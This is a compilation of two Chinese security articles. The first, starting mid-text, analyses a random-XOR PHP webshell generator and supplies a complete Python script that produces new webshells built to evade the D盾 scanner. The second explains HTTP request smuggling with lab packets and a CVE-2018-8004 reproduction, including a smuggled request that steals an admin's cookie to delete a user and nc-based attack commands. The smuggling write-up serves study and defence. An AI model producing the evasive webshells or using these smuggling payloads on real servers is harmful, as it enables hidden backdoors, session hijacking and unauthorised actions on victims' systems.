return assert("isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6']");
这个利用随机异或无限免杀D盾的核心其实就是这个点了，至于异或个人认为也是很巧妙的，下面分析其利用随机异或生成payload的代码：
其生成的shellcode的模型如下：(当前免杀失效的主要原因个人认为还是此模型被杀了)
shell_form ='''<?php
class {class_name}{{
function __destruct(){{
${var_name1}={func1};
return @${var_name1}("$this->{var_name2}");
}}
}}
${objname}=new {class_name}();
@${objname}->{var_name2}=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>'''
其实参考我对上述对木马样例分析，就很容易理解这个木马模型了，{class_name}、{var_name1}、{var_name2}、{objname}都是利用python代码随机生成的名称，随便写即可。下面需要说明的是{func1}值的生成。其实利用yzddmr6表哥的python生成的所有的不同点都在这{class_name}、{var_name1}、{var_name2}、{objname}、{func1}五个点，除了上述解释的模型是核心之外，就是这个{func1}了。
{func1}的生成过程如下：
首先查看gen_webshell()函数，即webshell生成函数：
def gen_webshell():
class_name = random_name(4)
objname = class_name.lower()
webshell=shell_form.format(class_name=class_name,func_name=random_name(4),objname=objname,var_name1=random_name(4),var_name2=random_name(4),func1=gen_payload(func1))
print(webshell)
我们可以很清楚的看到倒数第二行中有`func1=gen_payload(func1)`即func1是由gen_payload函数生成的，查看了整体代码得知其中gen_payload函数中的参数func1的值为assert,我继续查看gen_payload函数如下：
def gen_payload(func):
func_line1 = ''
func_line2 = ''
key = random_keys(len(func))
for i in range(0,len(func)):
enc = xor(func[i],key[i])
func_line1 += key[i]
func_line2 += enc
payload = ''{0}'^"{1}"'.format(func_line1,func_line2)
return payload
这个函数中又包含了两个小函数random_keys()和xor()，那么我就先分析这两个小函数吧：
random_keys函数：
def random_keys(len):
str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
random _key函数是生成一个长度为len的随机字符串，字符串中的字符都取自str变量中，即取自“~-=!@#$%^
&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`
xor函数：
def xor(c1,c2):
return hex(ord(c1)^ord(c2)).replace('0x',r"x")
将字符c1和字符c2转换成ascii码后进行异或运算，再利用hex函数转换为十六进制，同时其中将0x转换成x
好了，下面继续分析gen_payload函数：func是传入gen_payload(func)函数的参数，此处应该是assert，即一个命令执行的函数。然后计算出assert的长度，然后利用random_keys函数从字符串str中随机取出5个字符：赋值给key
key = random_keys(len(func))
利用for循环分别将func和key字符串中的字符一一取出，分别进行异或运算后，然后连接成了func_line2字符串，而将key字符串赋值给了func_line1字符串。
for i in range(0,len(func)):
enc = xor(func[i],key[i])
func_line1 += key[i]
func_line2 += enc
最后就得到了payload:即字符串func_line2和字符串func_line1异或。而func_line2和字符串func_line1异或的结果应该是等于func的。原因如下：假设a^b=c，那么a=c^b，即异或是可逆的。此循环将func和key异或的值存放到了func_line2中，将key赋值给了func_line，即此处key=func_line1。最终结果等价于func^func_line1=func_line2，而return的结果是func_line2^func_line1，即最后return的几个依旧是func，即一个命令执行函数assert。只是为了避开d盾的查杀换了一种方式。
payload = ''{0}'^"{1}"'.format(func_line1,func_line2)
到这里就分析完成了，即shellcode的模型中的{func1}的值是利用随机异或生成函数gen_payload生成的，例如：
'rG!q-X'^"x13x34x52x14x5fx2c"
上诉字符串看似凌乱，但是其异或的结果依旧是assert。
综上所述：随机异或无限免杀D盾项目的核心点有两个：
1，此木马生成模板本身具备免杀性
2，利用随机异或隐藏了assert，eval等D盾敏感的命令执行函数。
## 免杀马再免杀
> 根据上述特点我们也可以通过这两点思路来构造免杀马：
>
> 1，使得木马模板具备免杀性
>
> 2，隐藏assert，eval等D盾敏感的关键字
我就随便选择一种：利用回调函数构造的免杀马：
例如随便选择一个回调函数array_walk()即可构造如下木马：
<?php
function v01cano($aaa, $bbb){
$ccc=$bbb;
array_walk($aaa, $ccc);
}
$ddd = 'rG!q-X'^"x13x34x52x14x5fx2c";
v01cano(array($_POST['e']), $ddd);
?>
D盾报出了可能是木马级别是二级，原因是识别了array_walk函数。
接下来我们在array_walk前面加上命名空间即可轻松绕过D盾：
<?php
function v01cano($aaa, $bbb){
$ccc=$bbb;
array_walk($aaa, $ccc);
}
$ddd = 'rG!q-X'^"x13x34x52x14x5fx2c";
v01cano(array($_POST['e']), $ddd);
?>
那么接下来就可以参考yzddmr6表哥的方法使用我们新的免杀马模板来随机异或无限免杀D盾，只需修改yzddmr6表哥的免杀马模板部分即可。
即参考如上免杀马，修改模板为如下：
<?php
function {func_name}(${var_name1}, ${var_name2}){{
${var_name3}=${var_name2};
\array_walk(${var_name1}, ${var_name3});
}}
${var_name4} = {func1};
{func_name}(array($_POST['e']), ${var_name4});
?>
最终代码如下：
import random
# 命令执行函数
func1 = 'assert'
# 每次生成一个不同的变量（函数）名，长度为len
def random_name(len):
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
# 每次返回一个len长度的字符串（里面包含特殊字符，用于异或免杀）
def random_keys(len):
str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
a = random.sample(str, len)
return ''.join(a)
# 将字符c1和字符c2进行异或运算，同时将0x转换成x
def xor(c1,c2):
c = hex(ord(c1)^ord(c2))
return c.replace('0x',r"x")
# payload生成函数
def gen_payload(func):
func_line1 = ''
func_line2 = ''
key = random_keys(len(func))
for i in range(0,len(func)):
enc = xor(func[i],key[i])
func_line1 += key[i]
func_line2 += enc
payload = ''{0}'^"{1}"'.format(func_line1,func_line2)
return payload
shell_form='''
<?php
function {func_name}(${var_name1}, ${var_name2}){{
${var_name3}=${var_name2};
\array_walk(${var_name1}, ${var_name3});
}}
${var_name4} = {func1};
{func_name}(array($_POST['e']), ${var_name4});
?>
'''
def gen_webshell():
webshell=shell_form.format(func_name=random_name(4), var_name1=random_name(4), var_name2=random_name(4), var_name3=random_name(4), var_name4=random_name(4), func1=gen_payload(func1))
print(webshell)
gen_webshell()
于是我们也就可以再次实现随机异或无限免杀D盾。
最后运行上诉python代码即可随机生成免杀马：
这样就又达到了免杀的效果。
其实个人认为此项目的核心就是我上诉所说的两点：
> 1，此木马生成模板本身具备免杀性
>
> 2，利用随机异或隐藏了assert，eval等D盾敏感的命令执行函数。
模板免杀应该是重中之重，各位表哥们也可以根据自己的需要简单修改即可。
关于免杀马的构造方法太多了，我就直接附上404表哥文章给大家参考：
<https://xz.aliyun.com/t/5152>
然后就是yzddmr6表哥的项目地址：思路很骚。
<https://github.com/yzddmr6/webshell-venom> | 社区文章 |
**作者：mengchen@知道创宇404实验室
日期：2019年10月10日
English version：<https://paper.seebug.org/1049/>**
## 1\. 前言
最近在学习研究BlackHat的议题，其中有一篇议题——"HTTP Desync Attacks: Smashing into the Cell Next
Door"引起了我极大地兴趣，在其中，作者讲述了HTTP走私攻击这一攻击手段，并且分享了他的一些攻击案例。我之前从未听说过这一攻击方式，决定对这一攻击方式进行一个完整的学习梳理，于是就有了这一篇文章。
当然了，作为这一攻击方式的初学者，难免会有一些错误，还请诸位斧正。
## 2\. 发展时间线
最早在2005年，由Chaim Linhart，Amit Klein，Ronen Heled和Steve Orrin共同完成了一篇关于HTTP
Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例，证明了这一攻击方式的危害性。
> <https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf>
在2016年的DEFCON 24 上，@regilero在他的议题——Hiding Wookiees in
HTTP中对前面报告中的攻击方式进行了丰富和扩充。
>
> <https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-> Hiding-Wookiees-In-Http.pdf>
在2019年的BlackHat USA 2019上，PortSwigger的James Kettle在他的议题——HTTP Desync Attacks:
Smashing into the Cell Next
Door中针对当前的网络环境，展示了使用分块编码来进行攻击的攻击方式，扩展了攻击面，并且提出了完整的一套检测利用流程。
> <https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-> smashing-into-the-cell-next-door-15153>
## 3\. 产生原因
HTTP请求走私这一攻击方式很特殊，它不像其他的Web攻击方式那样比较直观，它更多的是在复杂网络环境下，不同的服务器对RFC标准实现的方式不同，程度不同。这样一来，对同一个HTTP请求，不同的服务器可能会产生不同的处理结果，这样就产生了了安全风险。
在进行后续的学习研究前，我们先来认识一下如今使用最为广泛的`HTTP 1.1`的协议特性——`Keep-Alive&Pipeline`。
在`HTTP1.0`之前的协议设计中，客户端每进行一次HTTP请求，就需要同服务器建立一个TCP链接。而现代的Web网站页面是由多种资源组成的，我们要获取一个网页的内容，不仅要请求HTML文档，还有JS、CSS、图片等各种各样的资源，这样如果按照之前的协议设计，就会导致HTTP服务器的负载开销增大。于是在`HTTP1.1`中，增加了`Keep-Alive`和`Pipeline`这两个特性。
所谓`Keep-Alive`，就是在HTTP请求中增加一个特殊的请求头`Connection: Keep-Alive`，告诉服务器，接收完这次HTTP请求后，不要关闭TCP链接，后面对相同目标服务器的HTTP请求，重用这一个TCP链接，这样只需要进行一次TCP握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度。当然，这个特性在`HTTP1.1`中是默认开启的。
有了`Keep-Alive`之后，后续就有了`Pipeline`，在这里呢，客户端可以像流水线一样发送自己的HTTP请求，而不需要等待服务器的响应，服务器那边接收到请求后，需要遵循先入先出机制，将请求和响应严格对应起来，再将响应发送给客户端。
现如今，浏览器默认是不启用`Pipeline`的，但是一般的服务器都提供了对`Pipleline`的支持。
为了提升用户的浏览速度，提高使用体验，减轻服务器的负担，很多网站都用上了CDN加速服务，最简单的加速服务，就是在源站的前面加上一个具有缓存功能的反向代理服务器，用户在请求某些静态资源时，直接从代理服务器中就可以获取到，不用再从源站所在服务器获取。这就有了一个很典型的拓扑结构。
一般来说，反向代理服务器与后端的源站服务器之间，会重用TCP链接。这也很容易理解，用户的分布范围是十分广泛，建立连接的时间也是不确定的，这样TCP链接就很难重用，而代理服务器与后端的源站服务器的IP地址是相对固定，不同用户的请求通过代理服务器与源站服务器建立链接，这两者之间的TCP链接进行重用，也就顺理成章了。
当我们向代理服务器发送一个比较模糊的HTTP请求时，由于两者服务器的实现方式不同，可能代理服务器认为这是一个HTTP请求，然后将其转发给了后端的源站服务器，但源站服务器经过解析处理后，只认为其中的一部分为正常请求，剩下的那一部分，就算是走私的请求，当该部分对正常用户的请求造成了影响之后，就实现了HTTP走私攻击。
### 3.1 CL不为0的GET请求
其实在这里，影响到的并不仅仅是GET请求，所有不携带请求体的HTTP请求都有可能受此影响，只因为GET比较典型，我们把它作为一个例子。
在`RFC2616`中，没有对GET请求像POST请求那样携带请求体做出规定，在最新的`RFC7231`的4.3.1节中也仅仅提了一句。
> <https://tools.ietf.org/html/rfc7231#section-4.3.1>
>
> sending a payload body on a GET request might cause some existing
> implementations to reject the request
假设前端代理服务器允许GET请求携带请求体，而后端服务器不允许GET请求携带请求体，它会直接忽略掉GET请求中的`Content-Length`头，不进行处理。这就有可能导致请求走私。
比如我们构造请求
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
前端服务器收到该请求，通过读取`Content-Length`，判断这是一个完整的请求，然后转发给后端服务器，而后端服务器收到后，因为它不对`Content-Length`进行处理，由于`Pipeline`的存在，它就认为这是收到了两个请求，分别是
第一个
GET / HTTP/1.1\r\n
Host: example.com\r\n
第二个
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
这就导致了请求走私。在本文的4.3.1小节有一个类似于这一攻击方式的实例，推荐结合起来看下。
### 3.2 CL-CL
在`RFC7230`的第`3.3.3`节中的第四条中，规定当服务器收到的请求中包含两个`Content-Length`，而且两者的值不同时，需要返回400错误。
> <https://tools.ietf.org/html/rfc7230#section-3.3.3>
但是总有服务器不会严格的实现该规范，假设中间的代理服务器和后端的源站服务器在收到类似的请求时，都不会返回400错误，但是中间代理服务器按照第一个`Content-Length`的值对请求进行处理，而后端源站服务器按照第二个`Content-Length`的值进行处理。
此时恶意攻击者可以构造一个特殊的请求
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
中间代理服务器获取到的数据包的长度为8，将上述整个数据包原封不动的转发给后端的源站服务器，而后端服务器获取到的数据包长度为7。当读取完前7个字符后，后端服务器认为已经读取完毕，然后生成对应的响应，发送出去。而此时的缓冲区去还剩余一个字母`a`，对于后端服务器来说，这个`a`是下一个请求的一部分，但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求，假设请求如图所示。
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n
从前面我们也知道了，代理服务器与源站服务器之间一般会重用TCP连接。
这时候正常用户的请求就拼接到了字母`a`的后面，当后端服务器接收完毕后，它实际处理的请求其实是
aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n
这时候用户就会收到一个类似于`aGET request method not
found`的报错。这样就实现了一次HTTP走私攻击，而且还对正常用户的行为造成了影响，而且后续可以扩展成类似于CSRF的攻击方式。
但是两个`Content-Length`这种请求包还是太过于理想化了，一般的服务器都不会接受这种存在两个请求头的请求包。但是在`RFC2616`的第4.4节中，规定:`如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时，在处理的时候必须忽略Content-Length`，这其实也就意味着请求包中同时包含这两个请求头并不算违规，服务器也不需要返回`400`错误。服务器在这里的实现更容易出问题。
> <https://tools.ietf.org/html/rfc2616#section-4.4>
### 3.3 CL-TE
所谓`CL-TE`，就是当收到存在两个请求头的请求包时，前端代理服务器只处理`Content-Length`这一请求头，而后端服务器会遵守`RFC2616`的规定，忽略掉`Content-Length`，处理`Transfer-Encoding`这一请求头。
chunk传输数据格式如下，其中size的值由16进制表示。
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
Lab 地址：<https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te>
构造数据包
POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
连续发送几次请求就可以获得该响应。
由于前端服务器处理`Content-Length`，所以这个请求对于它来说是一个完整的请求，请求体的长度为6，也就是
0\r\n
\r\n
G
当请求包经过代理服务器转发给后端服务器时，后端服务器处理`Transfer-Encoding`，当它读取到`0\r\n\r\n`时，认为已经读取到结尾了，但是剩下的字母`G`就被留在了缓冲区中，等待后续请求的到来。当我们重复发送请求后，发送的请求在后端服务器拼接成了类似下面这种请求。
GPOST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
......
服务器在解析时当然会产生报错了。
### 3.4 TE-CL
所谓`TE-CL`，就是当收到存在两个请求头的请求包时，前端代理服务器处理`Transfer-Encoding`这一请求头，而后端服务器处理`Content-Length`请求头。
Lab地址：<https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl>
构造数据包
POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
由于前端服务器处理`Transfer-Encoding`，当其读取到`0\r\n\r\n`时，认为是读取完毕了，此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器，后端服务器处理`Content-Length`请求头，当它读取完`12\r\n`之后，就认为这个请求已经结束了，后面的数据就认为是另一个请求了，也就是
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
成功报错。
### 3.5 TE-TE
`TE-TE`，也很容易理解，当收到存在两个请求头的请求包时，前后端服务器都处理`Transfer-Encoding`请求头，这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种，这就有了一种方法，我们可以对发送的请求包中的`Transfer-Encoding`进行某种混淆操作，从而使其中一个服务器不处理`Transfer-Encoding`请求头。从某种意义上还是`CL-TE`或者`TE-CL`。
Lab地址：<https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header>
构造数据包
POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
## 4\. HTTP走私攻击实例——CVE-2018-8004
### 4.1 漏洞概述
Apache Traffic Server（ATS）是美国阿帕奇（Apache）软件基金会的一款高效、可扩展的HTTP代理和缓存服务器。
Apache ATS
6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本中存在安全漏洞。攻击者可利用该漏洞实施HTTP请求走私攻击或造成缓存中毒。
在美国国家信息安全漏洞库中，我们可以找到关于该漏洞的四个补丁，接下来我们详细看一下。
CVE-2018-8004 补丁列表
* <https://github.com/apache/trafficserver/pull/3192>
* <https://github.com/apache/trafficserver/pull/3201>
* <https://github.com/apache/trafficserver/pull/3231>
* <https://github.com/apache/trafficserver/pull/3251>
注：虽然漏洞通告中描述该漏洞影响范围到7.1.3版本，但从github上补丁归档的版本中看，在7.1.3版本中已经修复了大部分的漏洞。
### 4.2 测试环境
#### 4.2.1 简介
在这里，我们以ATS 7.1.2为例，搭建一个简单的测试环境。
环境组件介绍
反向代理服务器
IP: 10.211.55.22:80
Ubuntu 16.04
Apache Traffic Server 7.1.2
后端服务器1-LAMP
IP: 10.211.55.2:10085
Apache HTTP Server 2.4.7
PHP 5.5.9
后端服务器2-LNMP
IP: 10.211.55.2:10086
Nginx 1.4.6
PHP 5.5.9
环境拓扑图
Apache Traffic Server
一般用作HTTP代理和缓存服务器，在这个测试环境中，我将其运行在了本地的Ubuntu虚拟机中，把它配置为后端服务器LAMP&LNMP的反向代理，然后修改本机HOST文件，将域名`ats.mengsec.com`和`lnmp.mengsec,com`解析到这个IP，然后在ATS上配置映射，最终实现的效果就是，我们在本机访问域名`ats.mengsec.com`通过中间的代理服务器，获得LAMP的响应，在本机访问域名`lnmp.mengsec,com`，获得LNMP的响应。
为了方便查看请求的数据包，我在LNMP和LAMP的Web目录下都放置了输出请求头的脚本。
LNMP:
<?php
echo 'This is Nginx<br>';
if (!function_exists('getallheaders')) {
function getallheaders() {
$headers = array();
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $headers;
}
}
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);
LAMP:
<?php
echo 'This is LAMP:80<br>';
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);
#### 4.2.2 搭建过程
在GIthub上下载源码编译安装ATS。
https://github.com/apache/trafficserver/archive/7.1.2.tar.gz
安装依赖&常用工具。
apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget
然后解压源码，进行编译&安装。
autoreconf -if
./configure --prefix=/opt/ts-712
make
make install
安装完毕后，配置反向代理和映射。
编辑`records.config`配置文件，在这里暂时把ATS的缓存功能关闭。
vim /opt/ts-712/etc/trafficserver/records.config
CONFIG proxy.config.http.cache.http INT 0 # 关闭缓存
CONFIG proxy.config.reverse_proxy.enabled INT 1 # 启用反向代理
CONFIG proxy.config.url_remap.remap_required INT 1 # 限制ats仅能访问map表中映射的地址
CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # 监听在本地80端口
编辑`remap.config`配置文件，在末尾添加要映射的规则表。
vim /opt/ts-712/etc/trafficserver/remap.config
map http://lnmp.mengsec.com/ http://10.211.55.2:10086/
map http://ats.mengsec.com/ http://10.211.55.2:10085/
配置完毕后重启一下服务器使配置生效，我们可以正常访问来测试一下。
为了准确获得服务器的响应，我们使用管道符和`nc`来与服务器建立链接。
printf 'GET / HTTP/1.1\r\n'\
'Host:ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
可以看到我们成功的访问到了后端的LAMP服务器。
同样的可以测试，代理服务器与后端LNMP服务器的连通性。
printf 'GET / HTTP/1.1\r\n'\
'Host:lnmp.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
### 4.3 漏洞测试
来看下四个补丁以及它的描述
> <https://github.com/apache/trafficserver/pull/3192> # 3192
> 如果字段名称后面和冒号前面有空格，则返回400 <https://github.com/apache/trafficserver/pull/3201>
> # 3201 当返回400错误时，关闭链接 <https://github.com/apache/trafficserver/pull/3231> #
> 3231 验证请求中的Content-Length头
> <https://github.com/apache/trafficserver/pull/3251> # 3251 当缓存命中时，清空请求体
#### 4.3.1 第一个补丁
> <https://github.com/apache/trafficserver/pull/3192> # 3192
> 如果字段名称后面和冒号前面有空格，则返回400
看介绍是给ATS增加了`RFC7230`第`3.2.4`章的实现，
> <https://tools.ietf.org/html/rfc7230#section-3.2.4>
在其中，规定了HTTP的请求包中，请求头字段与后续的冒号之间不能有空白字符，如果存在空白字符的话，服务器必须返回`400`，从补丁中来看的话，在ATS
7.1.2中，并没有对该标准进行一个详细的实现。当ATS服务器接收到的请求中存在请求字段与`:`之间存在空格的字段时，并不会对其进行修改，也不会按照RFC标准所描述的那样返回`400`错误，而是直接将其转发给后端服务器。
而当后端服务器也没有对该标准进行严格的实现时，就有可能导致HTTP走私攻击。比如Nginx服务器，在收到请求头字段与冒号之间存在空格的请求时，会忽略该请求头，而不是返回`400`错误。
在这时，我们可以构造一个特殊的HTTP请求，进行走私。
GET / HTTP/1.1
Host: lnmp.mengsec.com
Content-Length : 56
GET / HTTP/1.1
Host: lnmp.mengsec.com
attack: 1
foo:
很明显，请求包中下面的数据部分在传输过程中被后端服务器解析成了请求头。
来看下Wireshark中的数据包，ATS在与后端Nginx服务器进行数据传输的过程中，重用了TCP连接。
只看一下请求，如图所示：
阴影部分为第一个请求，剩下的部分为第二个请求。
在我们发送的请求中，存在特殊构造的请求头`Content-Length : 56`，56就是后续数据的长度。
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
在数据的末尾，不存在`\r\n`这个结尾。
当我们的请求到达ATS服务器时，因为ATS服务器可以解析`Content-Length :
56`这个中间存在空格的请求头，它认为这个请求头是有效的。这样一来，后续的数据也被当做这个请求的一部分。总的来看，对于ATS服务器，这个请求就是完整的一个请求。
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length : 56\r\n
\r\n
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
ATS收到这个请求之后，根据Host字段的值，将这个请求包转发给对应的后端服务器。在这里是转发到了Nginx服务器上。
而Nginx服务器在遇到类似于这种`Content-Length :
56`的请求头时，会认为其是无效的，然后将其忽略掉。但并不会返回400错误，对于Nginx来说，收到的请求为
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
因为最后的末尾没有`\r\n`，这就相当于收到了一个完整的GET请求和一个不完整的GET请求。
完整的：
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
不完整的：
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
在这时，Nginx就会将第一个请求包对应的响应发送给ATS服务器，然后等待后续的第二个请求传输完毕再进行响应。
当ATS转发的下一个请求到达时，对于Nginx来说，就直接拼接到了刚刚收到的那个不完整的请求包的后面。也就相当于
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo: GET / HTTP/1.1\r\n
Host: 10.211.55.2:10086\r\n
X-Forwarded-For: 10.211.55.2\r\n
Via: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62] (ApacheTrafficServer/7.1.2)\r\n
然后Nginx将这个请求包的响应发送给ATS服务器，我们收到的响应中就存在了`attack: 1`和`foo: GET /
HTTP/1.1`这两个键值对了。
那这会造成什么危害呢？可以想一下，如果ATS转发的第二个请求不是我们发送的呢？让我们试一下。
假设在Nginx服务器下存在一个`admin.php`，代码内容如下：
<?php
if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1){
echo "You are Admin\n";
if(isset($_GET['del'])){
echo 'del user ' . $_GET['del'];
}
}else{
echo "You are not Admin";
}
由于HTTP协议本身是无状态的，很多网站都是使用Cookie来判断用户的身份信息。通过这个漏洞，我们可以盗用管理员的身份信息。在这个例子中，管理员的请求中会携带这个一个`Cookie`的键值对`admin=1`，当拥有管理员身份时，就能通过GET方式传入要删除的用户名称，然后删除对应的用户。
在前面我们也知道了，通过构造特殊的请求包，可以使Nginx服务器把收到的某个请求作为上一个请求的一部分。这样一来，我们就能盗用管理员的Cookie了。
构造数据包
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length : 78\r\n
\r\n
GET /admin.php?del=mengchen HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
然后是管理员的正常请求
GET / HTTP/1.1
Host: lnmp.mengsec.com
Cookie: admin=1
让我们看一下效果如何。
在Wireshark的数据包中看的很直观，阴影部分为管理员发送的正常请求。
在Nginx服务器上拼接到了上一个请求中， 成功删除了用户mengchen。
#### 4.3.2 第二个补丁
> <https://github.com/apache/trafficserver/pull/3201> # 3201 当返回400错误时，关闭连接
这个补丁说明了，在ATS
7.1.2中，如果请求导致了400错误，建立的TCP链接也不会关闭。在regilero的对CVE-2018-8004的分析[文章](https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/)中，说明了如何利用这个漏洞进行攻击。
printf 'GET / HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'aa: \0bb\r\n'\
'foo: bar\r\n'\
'GET /2333 HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
一共能够获得2个响应，都是400错误。
ATS在解析HTTP请求时，如果遇到`NULL`，会导致一个截断操作，我们发送的这一个请求，对于ATS服务器来说，算是两个请求。
第一个
GET / HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa:
第二个
bb\r\n
foo: bar\r\n
GET /2333 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
第一个请求在解析的时候遇到了`NULL`，ATS服务器响应了第一个400错误，后面的`bb\r\n`成了后面请求的开头，不符合HTTP请求的规范，这就响应了第二个400错误。
再进行修改下进行测试
printf 'GET / HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'aa: \0bb\r\n'\
'GET /1.html HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
一个400响应，一个200响应，在Wireshark中也能看到，ATS把第二个请求转发给了后端Apache服务器。
那么由此就已经算是一个HTTP请求拆分攻击了，
GET / HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET /1.html HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
但是这个请求包，怎么看都是两个请求，中间的`GET /1.html
HTTP/1.1\r\n`不符合HTTP数据包中请求头`Name:Value`的格式。在这里我们可以使用`absoluteURI`，在`RFC2616`中第`5.1.2`节中规定了它的详细格式。
> <https://tools.ietf.org/html/rfc2616#section-5.1.2>
我们可以使用类似`GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1`的请求头进行请求。
构造数据包
GET /400 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET http://ats.mengsec.com/1.html HTTP/1.1\r\n
\r\n
GET /404 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
printf 'GET /400 HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'aa: \0bb\r\n'\
'GET http://ats.mengsec.com/1.html HTTP/1.1\r\n'\
'\r\n'\
'GET /404 HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
本质上来说，这是两个HTTP请求，第一个为
GET /400 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET http://ats.mengsec.com/1.html HTTP/1.1\r\n
\r\n
